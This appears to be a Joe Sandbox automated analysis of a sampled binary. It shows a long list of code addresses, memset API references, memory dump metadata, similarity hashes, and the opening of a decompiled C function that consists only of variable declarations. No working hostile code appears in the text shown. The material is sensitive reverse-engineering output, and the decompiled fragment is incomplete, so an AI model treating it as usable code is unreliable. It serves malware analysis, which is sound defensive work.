0x002a68e1
0x002a68e4
0x002a68e4
0x002a68e6
0x002a68e8
0x002a68ee
0x002a68f0
0x002a68f2
0x002a68f2
0x002a68f3
0x002a68f3
0x002a68f6
0x002a68f9
0x002a68fb
0x002a68fb
0x002a68fb
0x002a68fd
0x002a6902
0x002a690d
0x002a6919
0x002a691f
0x002a6921
0x002a6921
0x002a6921
0x002a6924
0x002a6929
0x002a692c
0x002a692c
0x002a6935
0x002a693a
0x002a693a
0x002a693b
0x002a693e
0x002a6940
0x002a6943
0x002a6945
0x002a6947
0x002a694b
0x002a694d
0x002a6955
0x002a6955
0x002a6955
0x002a694b
0x002a6945
0x002a67cf
0x002a6958
0x002a6960
0x00000000
0x002a6960
0x002a5f52
0x002a5f52
0x002a5f59
0x002a5f59
0x002a5f59
0x002a5f5c
0x002a5f5e
0x00000000
0x00000000
0x002a63fe
0x002a63fe
0x002a58f8
0x002a58f8
0x002a58fb
0x002a58fd
0x002a5900
0x00000000
0x00000000
0x002a5906
0x002a590c
0x002a590f
0x002a5912
0x00000000
0x002a5918
0x002a5918
0x002a5918
0x002a591b
0x002a591d
0x002a5921
0x002a5923
0x002a5926
0x002a592e
0x002a5933
0x002a5936
0x002a5936
0x002a5939
0x002a5939
0x002a5943
0x002a594b
0x002a594e
0x002a5950
0x002a5959
0x002a5959
0x002a595e
0x002a595f
0x002a5960
0x002a5961
0x002a5961
0x002a5965
0x002a5967
0x002a596b
0x002a596d
0x002a5975
0x002a5975
0x002a5979
0x002a597c
0x002a5952
0x002a5952
0x002a5954
0x002a5954
0x002a597f
0x002a597f
0x002a5981
0x002a5983
0x002a5986
0x002a5989
0x002a598f
0x002a5b5a
0x002a5b5a
0x002a5b60
0x002a5b63
0x002a5b69
0x002a6406
0x002a6406
0x002a640d
0x002a6413
0x002a6419
0x002a641c
0x002a641f
0x002a6421
0x002a645e
0x002a645e
0x002a6461
0x002a5714
0x002a571b
0x002a5723
0x002a5728
0x002a5736
0x002a5736
0x002a573b
0x002a573c
0x002a573d
0x002a5740
0x002a5740
0x002a5744
0x002a5746
0x002a574c
0x002a5754
0x002a5754
0x002a5758
0x002a575b
0x002a575e
0x002a572a
0x002a572a
0x002a572c
0x002a572f
0x002a572f
0x002a5761
0x002a5761
0x002a5763
0x002a5765
0x002a576c
0x002a5773
0x002a5776
0x002a5779
0x002a577e
0x002a57be
0x002a57c1
0x002a57c4
0x002a57c9
0x002a57d5
0x002a57d5
0x002a57dd
0x002a57e5
0x002a57e8
0x002a57ec
0x002a57ef
0x002a57f1
0x002a57f4
0x002a582f
0x002a582f
0x002a5832
0x002a5896
0x002a5896
0x002a589b
0x002a58a0
0x002a58a0
0x002a58a3
0x002a58a6
0x002a58ac
0x002a58af
0x002a58b3
0x002a58b6
0x002a58b9
0x002a58bc
0x002a58bc
0x00000000
0x002a5834
0x002a5834
0x002a5834
0x002a5837
0x00000000
0x002a5839
0x002a5839
0x002a5839
0x002a583e
0x002a5844
0x002a5846
0x002a5849
0x002a5850
0x002a5850
0x002a5852
0x002a5854
0x002a5857
0x002a585a
0x002a585d
0x002a5860
0x002a5860
0x002a5864
0x002a5867
0x002a586d
0x002a5870
0x002a5873
0x002a5876
0x002a5879
0x002a587c
0x00000000
0x00000000
0x00000000
0x00000000
0x002a587c
0x002a5837
0x00000000
0x002a57f6
0x002a57f6
0x002a57f6
0x002a57f6
0x002a57f8
0x002a57f9
0x002a57fe
0x00000000
0x00000000
0x002a5804
0x002a580a
0x002a650f
0x002a650f
0x002a6516
0x00000000
0x002a5810
0x002a5810
0x002a5822
0x002a5825
0x002a5828
0x002a582a
0x00000000
0x002a582a
0x00000000
0x002a580a
0x002a58f8
0x002a58f8
0x002a58fb
0x002a58fd
0x002a5900
0x00000000
0x00000000
0x00000000
0x002a5900
0x00000000
0x002a58f8
0x002a66b4
0x002a66b4
0x002a66b4
0x002a66b7
0x00000000
0x002a66b7
0x002a5780
0x002a5780
0x002a5782
0x002a57a7
0x002a57ac
0x002a57b1
0x002a57b3
0x002a57b5
0x002a57b8
0x002a57bb
0x00000000
0x002a5784
0x00000000
0x002a5784
0x002a5792
0x002a5794
0x002a5795
0x002a5798
0x002a579a
0x002a579d
0x002a57a0
0x002a57a5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a57a5
0x002a664c
0x00000000
0x002a664c
0x002a5782
0x002a6467
0x002a6467
0x002a646c
0x002a646f
0x002a64e6
0x002a64e6
0x002a64ed
0x002a64f0
0x002a64f3
0x002a64f8
0x002a64fe
0x002a6501
0x002a6504
0x002a6507
0x00000000
0x002a6471
0x002a6471
0x002a6478
0x002a6480
0x002a6483
0x002a6485
0x002a649f
0x002a649f
0x002a64a2
0x00000000
0x002a64a8
0x002a64a8
0x002a64ad
0x002a64ad
0x002a64b0
0x002a64b0
0x002a64be
0x002a64c9
0x002a64ca
0x002a64cd
0x002a64d0
0x002a64d2
0x00000000
0x00000000
0x002a64d8
0x002a64d8
0x002a64d9
0x002a64db
0x00000000
0x002a64e1
0x002a64e1
0x002a64e1
0x00000000
0x002a64e1
0x00000000
0x002a64db
0x00000000
0x002a64b0
0x002a6487
0x002a6487
0x002a6487
0x002a648a
0x002a648c
0x002a56ef
0x002a56f2
0x002a6657
0x002a6657
0x00000000
0x00000000
0x00000000
0x00000000
0x002a6492
0x002a6492
0x002a6492
0x002a6494
0x00000000
0x002a649a
0x002a649a
0x00000000
0x002a649a
0x002a6494
0x002a648c
0x00000000
0x002a56f8
0x002a56fb
0x002a56fd
0x002a56ff
0x002a5700
0x002a5702
0x002a5705
0x002a5708
0x002a570b
0x002a6471
0x00000000
0x002a646f
0x002a6423
0x002a6423
0x002a6423
0x002a6425
0x002a644a
0x002a644f
0x002a644f
0x002a6454
0x002a6456
0x002a6458
0x002a6458
0x002a6458
0x002a645b
0x00000000
0x002a6427
0x002a6427
0x002a6427
0x002a6427
0x002a642a
0x00000000
0x00000000
0x002a6430
0x002a6435
0x002a6437
0x002a6438
0x002a643b
0x002a643d
0x002a6440
0x002a6443
0x002a6446
0x002a6448
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a6448
0x002a6641
0x002a6641
0x00000000
0x002a6641
0x002a6425
0x002a5b6f
0x002a5b6f
0x002a5b6f
0x002a5b6f
0x002a5b73
0x00000000
0x00000000
0x002a5b79
0x002a5b79
0x002a5b7c
0x002a5b9f
0x002a5ba1
0x002a5ba4
0x002a5ba7
0x002a5baa
0x002a5bad
0x002a5bad
0x002a5baf
0x002a5bb2
0x002a5bb5
0x002a5bb8
0x002a5d7b
0x002a5d7b
0x002a5d7e
0x002a6674
0x002a6674
0x002a667b
0x00000000
0x002a5d84
0x002a5d84
0x002a5d84
0x002a5d87
0x002a5e56
0x002a5e56
0x002a5e56
0x002a5e58
0x002a5e58
0x002a5e58
0x002a5e5b
0x002a5e5e
0x00000000
0x00000000
0x002a5e64
0x002a5e64
0x002a5e6b
0x002a5e6e
0x002a5e70
0x002a5e9f
0x002a5e9f
0x002a5eaa
0x002a5eb2
0x002a5eb5
0x002a5eb8
0x002a5ebf
0x002a5ec1
0x002a5ec3
0x002a5ec5
0x002a5ec8
0x002a5ecb
0x002a5ed2
0x002a5ed5
0x002a5ed7
0x002a5eda
0x00000000
0x002a5e72
0x002a5e72
0x002a5e72
0x002a5e72
0x002a5e75
0x00000000
0x00000000
0x002a5e7b
0x002a5e80
0x002a5e82
0x002a5e83
0x002a5e86
0x002a5e88
0x002a5e8b
0x002a5e8e
0x002a5e91
0x002a5e98
0x002a5e9b
0x002a5e9d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a5e9d
0x002a6595
0x002a6595
0x00000000
0x002a6595
0x00000000
0x002a5e70
0x002a5ee0
0x00000000
0x002a5d8d
0x002a5d8d
0x002a5d8d
0x002a5d92
0x002a5d93
0x002a5d94
0x002a5d95
0x002a5d96
0x002a5d98
0x002a5d9a
0x002a5d9c
0x002a5d9d
0x002a5d9f
0x002a5da1
0x002a5da8
0x002a5dae
0x002a5db6
0x002a5db9
0x002a5dbe
0x002a5dc3
0x002a5dc8
0x002a5dcd
0x002a5dd5
0x002a5ddd
0x002a5de5
0x002a5ded
0x002a5df5
0x002a5dfb
0x002a5e03
0x002a5e07
0x002a5e0c
0x002a5e11
0x002a5e16
0x002a5e1b
0x002a5e20
0x002a5e25
0x002a5e2d
0x002a5e32
0x002a5e3a
0x002a5e44
0x002a5e4e
0x00000000
0x002a5e4e
0x002a5d87
0x002a5bbe
0x002a5bbe
0x002a5bc0
0x002a5bc3
0x002a5bc5
0x002a5bec
0x002a5bee
0x002a5bf1
0x002a5bf3
0x002a5bf5
0x002a5bf8
0x002a5bf8
0x002a5bfa
0x002a5bfa
0x002a5bfa
0x002a5bfd
0x002a5c00
0x00000000
0x00000000
0x002a5c02
0x002a5c02
0x002a5c04
0x002a5c42
0x002a5c42
0x002a5c45
0x002a655f
0x002a655f
0x00000000
0x002a5c4b
0x002a5c4b
0x002a5c4b
0x002a5c4d
0x002a5c4e
0x002a5c55
0x002a5c56
0x00000000
0x002a5c56
0x002a5c06
0x002a5c06
0x002a5c06
0x002a5c09
0x002a5c2f
0x002a5c2f
0x002a5c36
0x002a5c39
0x002a5c3c
0x002a5c3d
0x00000000
0x002a5c0b
0x002a5c0b
0x002a5c0b
0x002a5c0b
0x002a5c0e
0x00000000
0x00000000
0x002a5c14
0x002a5c19
0x002a5c1b
0x002a5c1c
0x002a5c1e
0x002a5c21
0x002a5c24
0x002a5c27
0x002a5c2a
0x00000000
0x002a5c2c
0x002a5c2c
0x002a5c2c
0x00000000
0x002a5c2c
0x00000000
0x002a5c2a
0x002a6554
0x002a6554
0x00000000
0x002a6554
0x002a5c09
0x00000000
0x002a5c04
0x002a5c5b
0x002a5c6e
0x002a5c75
0x002a5c8a
0x002a5c8d
0x002a6662
0x002a6662
0x002a6669
0x00000000
0x002a5c93
0x002a5c93
0x002a5c93
0x002a5c96
0x002a5c96
0x002a5c96
0x002a5c98
0x00000000
0x00000000
0x002a5c9e
0x002a5c9e
0x002a5ca0
0x002a5cfc
0x002a5cfc
0x002a5cff
0x002a5cff
0x002a5cff
0x002a5d01
0x00000000
0x00000000
0x002a5d11
0x002a5d11
0x002a5d14
0x002a5d16
0x002a5d30
0x002a5d30
0x002a5d33
0x002a5d35
0x002a6587
0x002a6587
0x002a658a
0x00000000
0x002a5d3b
0x002a5d3b
0x002a5d3b
0x002a5d40
0x002a5d42
0x002a5d46
0x002a5d49
0x002a5d4b
0x002a5d54
0x002a5d4d
0x002a5d4d
0x002a5d4f
0x002a5d4f
0x002a5d56
0x002a5d5b
0x002a5d5b
0x002a5d64
0x002a5d69
0x002a5d6b
0x002a5d6e
0x002a5d71
0x002a5d73
0x002a5d76
0x00000000
0x002a5d76
0x002a5d18
0x002a5d18
0x002a5d18
0x002a5d1b
0x002a5d22
0x00000000
0x002a5d22
0x00000000
0x002a5d16
0x002a5d03
0x002a5d03
0x002a5d08
0x00000000
0x002a5ca2
0x002a5ca2
0x002a5ca2
0x002a5ca5
0x002a5cc8
0x002a5cc8
0x002a5ccb
0x002a5cce
0x002a5cd1
0x002a5cd4
0x002a5cdc
0x002a5cdf
0x002a5ce2
0x002a5ce5
0x002a6575
0x002a6575
0x002a657c
0x00000000
0x002a5ceb
0x002a5ceb
0x002a5cee
0x002a5cf1
0x002a5cf6
0x002a5cf7
0x00000000
0x002a5cf7
0x002a5ca7
0x002a5ca7
0x002a5ca7
0x002a5ca7
0x002a5caa
0x00000000
0x00000000
0x002a5cb0
0x002a5cb5
0x002a5cb7
0x002a5cb8
0x002a5cba
0x002a5cbd
0x002a5cc0
0x002a5cc3
0x002a5cc6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a5cc6
0x002a656a
0x002a656a
0x00000000
0x002a656a
0x002a5ca5
0x00000000
0x002a5ca0
0x00000000
0x002a5c96
0x002a5bc7
0x002a5bc7
0x002a5bc7
0x002a5bc7
0x002a5bca
0x00000000
0x00000000
0x002a5bd0
0x002a5bd5
0x002a5bd7
0x002a5bda
0x002a5bdc
0x002a5bdf
0x002a5be2
0x002a5be5
0x002a5be8
0x002a5bea
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a5bea
0x002a6549
0x002a6549
0x00000000
0x002a6549
0x002a5bc5
0x002a5b7e
0x002a5b7e
0x002a5b7e
0x002a5b7e
0x002a5b81
0x00000000
0x00000000
0x002a5b87
0x002a5b8c
0x002a5b8e
0x002a5b8f
0x002a5b91
0x002a5b94
0x002a5b97
0x002a5b9a
0x002a5b9d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a5b9d
0x002a653e
0x002a653e
0x00000000
0x002a653e
0x00000000
0x002a5b7c
0x002a65c1
0x002a65c3
0x002a65c6
0x002a65c8
0x002a65f2
0x002a65f2
0x002a65f7
0x002a65fa
0x002a65fc
0x002a65fe
0x002a6601
0x002a6603
0x002a6605
0x002a6605
0x002a6605
0x002a6608
0x00000000
0x00000000
0x002a660a
0x002a660a
0x002a660b
0x002a660e
0x002a6610
0x00000000
0x00000000
0x00000000
0x002a6610
0x002a6605
0x002a6612
0x002a6617
0x002a6617
0x002a661b
0x002a661e
0x002a6621
0x002a6624
0x002a6626
0x002a6629
0x002a662d
0x002a6630
0x002a6634
0x002a6752
0x002a6752
0x002a6752
0x002a6754
0x002a675a
0x002a675a
0x00000000
0x002a663a
0x002a663a
0x002a663a
0x002a6703
0x002a6703
0x002a6703
0x002a6706
0x002a6709
0x00000000
0x00000000
0x002a670b
0x002a670b
0x002a670d
0x002a671a
0x002a671a
0x002a671d
0x002a6720
0x002a66e7
0x002a66e7
0x002a66ed
0x002a66ed
0x002a66f0
0x00000000
0x002a6722
0x002a6722
0x002a66ca
0x002a66ca
0x002a66ca
0x002a66cd
0x00000000
0x00000000
0x002a66cf
0x002a66d4
0x002a66d6
0x002a66d9
0x002a66db
0x002a66dc
0x002a66df
0x002a66e2
0x00000000
0x002a66e4
0x002a66e4
0x002a66e4
0x00000000
0x002a66e4
0x00000000
0x002a66e2
0x002a672c
0x002a672c
0x00000000
0x002a672c
0x002a670f
0x002a670f
0x002a670f
0x002a6712
0x002a6724
0x002a6724
0x00000000
0x002a6714
0x002a6714
0x002a6714
0x002a6717
0x002a66f3
0x002a66f3
0x002a66fc
0x002a66ff
0x002a66ff
0x002a6700
0x00000000
0x002a6700
0x002a6712
0x00000000
0x002a670d
0x00000000
0x002a6703
0x002a65d0
0x00000000
0x002a65d0
0x002a65d0
0x002a65d0
0x002a65d3
0x00000000
0x00000000
0x002a65d9
0x002a65de
0x002a65e0
0x002a65e3
0x002a65e5
0x002a65e8
0x002a65eb
0x002a65ee
0x002a65f0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a65f0
0x002a66c2
0x002a66c2
0x00000000
0x002a66c2
0x002a65c8
0x002a5995
0x002a5995
0x002a5995
0x002a5998
0x002a599a
0x002a599e
0x002a59a0
0x002a59a3
0x002a59a6
0x002a59ae
0x002a59b3
0x002a59b6
0x002a59b6
0x002a59b9
0x002a59b9
0x002a59c3
0x002a59cb
0x002a59ce
0x002a59d0
0x002a59d9
0x002a59d9
0x002a59de
0x002a59df
0x002a59e0
0x002a59e1
0x002a59e1
0x002a59e5
0x002a59e7
0x002a59ed
0x002a59f5
0x002a59f5
0x002a59f9
0x002a59fc
0x002a59d2
0x002a59d2
0x002a59d4
0x002a59d4
0x002a59ff
0x002a59ff
0x002a5a02
0x002a5a04
0x002a5a09
0x002a5a0c
0x002a5a0e
0x002a5a11
0x002a5a17
0x002a5b57
0x002a5b57
0x002a5b57
0x002a5b57
0x00000000
0x002a5a1d
0x002a5a1d
0x002a5a1d
0x002a5a20
0x002a5a26
0x002a5a29
0x002a58f8
0x002a58f8
0x002a58f8
0x002a58f8
0x002a58fb
0x002a58fd
0x002a5900
0x00000000
0x00000000
0x00000000
0x002a5900
0x002a587e
0x002a587e
0x002a587e
0x002a5882
0x002a5887
0x002a5888
0x002a588a
0x002a588c
0x002a588f
0x002a5892
0x002a5894
0x002a58e6
0x002a58e6
0x002a58eb
0x002a58ef
0x002a58f2
0x002a58f2
0x002a58f5
0x002a58f5
0x002a58f5
0x002a58f5
0x002a58f8
0x002a58f8
0x002a58fb
0x002a58fd
0x002a5900
0x00000000
0x00000000
0x00000000
0x002a5900
0x002a58c1
0x002a58c1
0x002a58c4
0x002a58c7
0x002a58ca
0x002a58cd
0x002a58d0
0x002a58d0
0x002a58d4
0x002a58d9
0x002a58da
0x002a58dc
0x002a58de
0x002a58e1
0x002a58e4
0x00000000
0x00000000
0x00000000
0x002a58e4
0x002a5a17
0x002a598f
0x00000000
0x002a5a2e
0x002a5a2e
0x002a5a31
0x002a5ae3
0x002a5aea
0x002a5af2
0x002a5af5
0x002a5af7
0x002a5b08
0x002a5b08
0x002a5b0d
0x002a5b0e
0x002a5b0f
0x002a5b10
0x002a5b10
0x002a5b14
0x002a5b16
0x002a5b1a
0x002a5b1c
0x002a5b24
0x002a5b24
0x002a5b28
0x002a5b2b
0x002a5af9
0x002a5af9
0x002a5afb
0x002a5afe
0x002a5b03
0x002a5b03
0x002a5b2e
0x002a5b2e
0x002a5b30
0x002a5b32
0x002a5b35
0x002a5b38
0x002a5b3e
0x00000000
0x002a5b40
0x002a5b40
0x002a5b40
0x002a5b43
0x002a5b46
0x002a652c
0x002a652c
0x002a6533
0x00000000
0x002a5b4c
0x002a5b4c
0x002a5b4c
0x002a5b4f
0x00000000
0x002a5b4f
0x002a5b46
0x002a5a37
0x002a5a37
0x002a5a37
0x002a5a3a
0x002a5abf
0x002a5abf
0x002a5ac6
0x002a5ac9
0x002a5ace
0x002a5ad4
0x002a5ad7
0x002a5ada
0x002a5ada
0x002a5add
0x00000000
0x002a5a40
0x002a5a40
0x002a5a40
0x002a5a42
0x002a5a47
0x002a5a4f
0x002a5a51
0x002a5a64
0x002a5a64
0x002a5a67
0x00000000
0x002a5a69
0x002a5a69
0x002a5a6e
0x002a5a71
0x002a5a71
0x002a5a7f
0x002a5a8a
0x002a5a8b
0x002a5a8e
0x002a5a90
0x00000000
0x00000000
0x002a5a92
0x002a5a92
0x002a5a95
0x002a5a97
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a5a97
0x00000000
0x002a5a71
0x002a5a53
0x002a5a53
0x002a5a53
0x002a5a56
0x002a5a58
0x002a5a99
0x002a5a99
0x002a5a9c
0x002a5a9c
0x002a5a9f
0x002a6521
0x002a6521
0x00000000
0x00000000
0x00000000
0x00000000
0x002a5a5a
0x002a5a5a
0x002a5a5a
0x002a5a5c
0x002a5ae0
0x002a5ae0
0x00000000
0x002a5a62
0x002a5a62
0x00000000
0x002a5a62
0x002a5a5c
0x002a5a58
0x00000000
0x002a5aa5
0x002a5aa8
0x002a5aaa
0x002a5aac
0x002a5aad
0x002a5aaf
0x002a5ab2
0x002a5ab5
0x002a5ab8
0x002a5ab8
0x00000000
0x002a5abd
0x002a5a3a
0x00000000
0x002a5a31
0x002a58f8
0x002a5f64
0x002a5f73
0x002a5f7d
0x002a5f93
0x002a5fa9
0x002a5fb2
0x002a5fb7
0x002a5fba
0x002a5fbd
0x002a5fc0
0x002a5fc2
0x002a5fc4
0x002a5fc4
0x002a5fd0
0x002a5fd0
0x002a5fd0
0x002a5fd4
0x002a5fd5
0x002a5fdc
0x002a5fdc
0x002a5fd0
0x002a5fe0
0x002a5fe0
0x002a5fe5
0x002a5fe6
0x002a5fe7
0x002a5fe8
0x002a5fe9
0x002a5fe9
0x002a5fef
0x002a5ff5
0x002a5ff8
0x002a6000
0x002a6000
0x002a6000
0x002a6009
0x002a600b
0x002a600d
0x002a6014
0x002a6017
0x002a6020
0x002a6027
0x002a6029
0x002a602c
0x002a6035
0x002a6037
0x002a603e
0x002a6041
0x002a6041
0x002a604c
0x002a604f
0x002a6055
0x002a6058
0x002a605a
0x002a6061
0x002a606c
0x002a606c
0x002a606f
0x002a6076
0x002a607d
0x002a6080
0x002a6086
0x002a6086
0x002a6090
0x002a6090
0x002a6095
0x002a6095
0x002a6099
0x002a609c
0x002a609e
0x002a60a4
0x002a60a4
0x002a60ab
0x002a60af
0x002a60b6
0x002a60b9
0x002a60bb
0x00000000
0x002a60c0
0x002a60c0
0x002a60cb
0x002a60ce
0x002a60cf
0x002a60d1
0x002a60d4
0x002a60d4
0x002a60d8
0x002a60d8
0x002a60db
0x002a60db
0x002a60de
0x002a612d
0x002a613d
0x002a6140
0x002a6143
0x002a6146
0x002a6149
0x002a614c
0x002a614e
0x002a6153
0x002a6156
0x002a6158
0x002a6158
0x002a615b
0x002a615e
0x002a615e
0x002a6161
0x002a6161
0x002a6164
0x002a6167
0x002a6169
0x002a6169
0x002a6169
0x002a616c
0x002a616f
0x002a6172
0x002a6172
0x002a6172
0x002a6180
0x002a6185
0x002a6189
0x002a618c
0x002a61a4
0x002a618e
0x002a6191
0x002a6195
0x002a6198
0x002a619a
0x002a619d
0x002a61a0
0x002a61a0
0x002a61a7
0x002a61a7
0x002a61a7
0x002a61a7
0x002a61a7
0x002a61ac
0x002a61af
0x002a61af
0x002a61b1
0x002a61b6
0x002a61b6
0x002a61bb
0x002a60e0
0x002a60e0
0x002a60e7
0x002a60ea
0x002a60ed
0x002a60f3
0x002a60f9
0x002a60f9
0x002a60fe
0x002a60ff
0x002a6100
0x002a6101
0x002a6101
0x002a6106
0x002a610f
0x002a610f
0x002a6115
0x002a6115
0x002a6115
0x002a6118
0x002a611a
0x002a611d
0x002a611d
0x002a6125
0x002a6125
0x002a60f3
0x002a60de
0x002a61c3
0x002a61c3
0x002a61c6
0x002a61c7
0x002a61c7
0x002a61d1
0x002a61d6
0x002a61d6
0x002a61d7
0x002a61d7
0x002a61db
0x002a63f6
0x002a63f6
0x00000000
0x002a61e1
0x002a61e1
0x002a61e1
0x002a61e1
0x002a61e3
0x002a61e3
0x002a61e3
0x002a61e6
0x002a61e6
0x002a61ec
0x002a61ef
0x002a61f1
0x00000000
0x00000000
0x002a61f7
0x002a61f7
0x002a61fa
0x002a62b2
0x002a62b9
0x002a62c1
0x002a62c4
0x002a62c6
0x002a62d7
0x00000000
0x002a62e0
0x002a62e0
0x002a62e0
0x002a62e5
0x002a62e7
0x002a62ee
0x002a62f6
0x002a62f9
0x002a62f9
0x002a62c8
0x002a62c8
0x002a62ca
0x002a62cd
0x002a62d2
0x002a62d2
0x002a62fd
0x002a62fd
0x002a62ff
0x002a6301
0x002a6304
0x002a6307
0x002a630a
0x002a631c
0x002a631c
0x002a632c
0x002a632c
0x002a6333
0x002a6336
0x002a6338
0x002a6360
0x002a636e
0x002a6371
0x002a6378
0x002a637b
0x002a637d
0x002a6381
0x002a6384
0x002a6387
0x002a6393
0x002a6393
0x002a6389
0x002a6389
0x002a6389
0x002a6395
0x002a63a0
0x002a63a9
0x002a63ac
0x002a63ae
0x002a61e3
0x002a61e3
0x00000000
0x002a633a
0x002a633a
0x002a633a
0x002a633a
0x002a633d
0x00000000
0x00000000
0x002a6343
0x002a6348
0x002a634a
0x002a634b
0x002a634e
0x002a6350
0x002a6353
0x002a6356
0x002a6359
0x002a635b
0x00000000
0x002a635d
0x002a635d
0x002a635d
0x00000000
0x002a635d
0x00000000
0x002a635b
0x002a65b6
0x002a65b6
0x00000000
0x002a65b6
0x002a631e
0x002a631e
0x002a631e
0x002a6321
0x002a6323
0x002a6698
0x002a6698
0x002a669b
0x00000000
0x002a6329
0x002a6329
0x002a6329
0x00000000
0x002a6329
0x002a6323
0x002a630c
0x002a630c
0x002a630c
0x002a630f
0x002a6316
0x00000000
0x002a6316
0x002a6200
0x002a6200
0x002a6205
0x002a6208
0x002a628e
0x002a628e
0x002a6295
0x002a6298
0x002a629d
0x002a62a3
0x002a62a6
0x002a62a9
0x002a62a9
0x002a62ac
0x00000000
0x002a620e
0x002a620e
0x002a620e
0x002a6210
0x002a6215
0x002a621d
0x002a621f
0x002a6232
0x002a6232
0x002a6235
0x00000000
0x002a6237
0x002a6237
0x002a623c
0x002a623c
0x002a6240
0x002a6240
0x002a624e
0x002a6259
0x002a625a
0x002a625d
0x002a625f
0x00000000
0x00000000
0x002a6261
0x002a6261
0x002a6264
0x002a6266
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a6266
0x00000000
0x002a6240
0x002a6221
0x002a6221
0x002a6221
0x002a6224
0x002a6226
0x002a6268
0x002a6268
0x002a626b
0x002a626b
0x002a626e
0x002a65ab
0x002a65ab
0x00000000
0x00000000
0x00000000
0x00000000
0x002a6228
0x002a6228
0x002a6228
0x002a622a
0x002a62af
0x002a62af
0x00000000
0x002a6230
0x002a6230
0x00000000
0x002a6230
0x002a622a
0x002a6226
0x00000000
0x002a6274
0x002a6277
0x002a6279
0x002a627b
0x002a627c
0x002a627e
0x002a6281
0x002a6284
0x002a6287
0x002a6287
0x00000000
0x002a628c
0x002a6208
0x00000000
0x002a61fa
0x002a63b6
0x002a63b9
0x002a63bc
0x002a63be
0x002a63c0
0x002a66a6
0x002a66a6
0x002a66a9
0x00000000
0x002a63c6
0x002a63c6
0x002a63d2
0x002a63e3
0x002a63e3
0x002a63ed
0x002a63f3
0x00000000
0x002a63f3
0x00000000
0x002a63c0
0x002a61e3
0x002a6063
0x002a6063
0x002a6063
0x002a6066
0x002a6686
0x002a6686
0x002a668d
0x00000000
0x00000000
0x00000000
0x00000000
0x002a6066
0x00000000
0x002a6061

APIs

memset.NTDLL ref: 002A5EEE
memset.NTDLL ref: 002A5F7D
memset.NTDLL ref: 002A5F93
memset.NTDLL ref: 002A5FA9

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 68e01818db72aa8fc683ed4cb31756a2699e6863ce0e7d82a5fdf28eb91c967c
Instruction ID: 4a8adafd771187376884a898914bec2d386f38a2732919e11fb74a58636aa8a0
Opcode Fuzzy Hash: 68e01818db72aa8fc683ed4cb31756a2699e6863ce0e7d82a5fdf28eb91c967c
Instruction Fuzzy Hash: B631F6B1E10615AFDB04CF50C845BAEBBB4FF46304F184169E406AB681DB74A664CF80

Uniqueness

Uniqueness Score: 0.00%

Function 002A5D95, Relevance: 5.1, APIs: 4, Instructions: 79
COMMON

C-Code - Quality: 68%

			E002A5D95(void* __eax, void* __ebx, void* __edi) {
				intOrPtr* _t597;
				void* _t598;
				signed int _t600;
				signed int _t603;
				signed int _t605;
				void* _t608;
				signed int _t609;
				signed int _t612;
				signed int _t614;
				signed int _t617;
				signed int _t618;
				signed int _t624;
				signed int _t625;
				void* _t628;
				signed int _t630;
				void* _t631;
				signed int _t641;
				signed int* _t651;
				signed int _t654;
				signed int _t671;
				signed int _t673;
				signed int _t675;
				signed int _t685;
				signed int _t688;
				signed int _t689;
				signed int _t690;
				signed int _t695;
				unsigned int _t698;
				void* _t699;
				signed int _t707;
				signed int _t710;
				signed int _t721;
				signed int _t725;
				signed int _t727;
				void* _t730;
				signed int _t732;
				signed int _t733;
				intOrPtr _t734;
				signed char _t738;
				intOrPtr* _t740;
				void* _t741;
				signed int _t749;
				signed int _t753;
				signed int _t758;
				signed int _t764;
				signed int _t767;
				void* _t769;
				intOrPtr _t782;
				intOrPtr _t783;
				intOrPtr _t784;
				signed int _t787;
				signed int _t791;
				void* _t797;
				signed int _t802;
				signed int _t804;
				signed int _t808;
				signed int _t812;
				signed int _t815;
				signed int _t819;
				void* _t824;
				signed int _t828;
				void* _t829;
				signed int _t834;
				void* _t835;
				void* _t836;
				signed int _t841;
				signed int _t842;
				signed char _t844;
				signed int _t845;
				void* _t847;
				void* _t851;
				signed int _t853;
				intOrPtr _t854;
				signed char _t860;
				signed int _t861;
				signed int _t862;
				signed char _t863;
				signed char _t864;
				intOrPtr _t866;
				void* _t869;
				void* _t870;
				void* _t871;
				signed int _t874;
				signed int _t877;
				void* _t878;
				void* _t879;
				void* _t880;
				void* _t881;
				void* _t882;
				void* _t883;
				void* _t884;
				void* _t885;
				signed char _t894;
				signed int _t896;
				void* _t897;
				void* _t898;
				signed int _t901;
				signed int _t902;
				signed char _t903;
				intOrPtr _t905;
				intOrPtr _t907;
				void* _t910;
				signed char _t911;
				signed char _t912;
				signed char _t913;
				signed int _t917;
				signed char _t922;
				void* _t923;
				void* _t924;
				signed int _t927;
				signed char* _t932;
				signed int _t936;
				signed char _t940;
				signed int _t941;
				signed char _t944;
				signed int _t945;
				void* _t953;
				signed int _t968;
				signed int _t969;
				signed int _t972;
				signed int _t974;
				signed int _t978;
				signed int* _t979;
				signed char* _t984;
				void* _t985;
				void* _t990;
				signed int _t991;
				signed int _t994;
				signed int _t995;
				signed int _t997;
				signed int _t999;
				signed int _t1000;
				signed int _t1003;
				signed int _t1004;
				int _t1005;
				int _t1007;
				signed int _t1008;
				unsigned int _t1011;
				void* _t1015;
				intOrPtr _t1016;
				signed int _t1017;
				signed int _t1021;
				signed char _t1025;
				void* _t1029;
				signed char _t1030;
				signed int _t1031;
				void* _t1033;
				void* _t1035;
				unsigned int _t1036;
				signed int _t1037;
				void* _t1039;
				void* _t1041;
				int _t1046;
				signed int _t1047;
				signed int _t1049;
				signed int _t1050;
				unsigned int _t1052;
				signed int _t1053;
				unsigned int _t1055;
				signed int _t1056;
				signed char _t1064;
				void* _t1065;
				void* _t1067;
				void* _t1068;

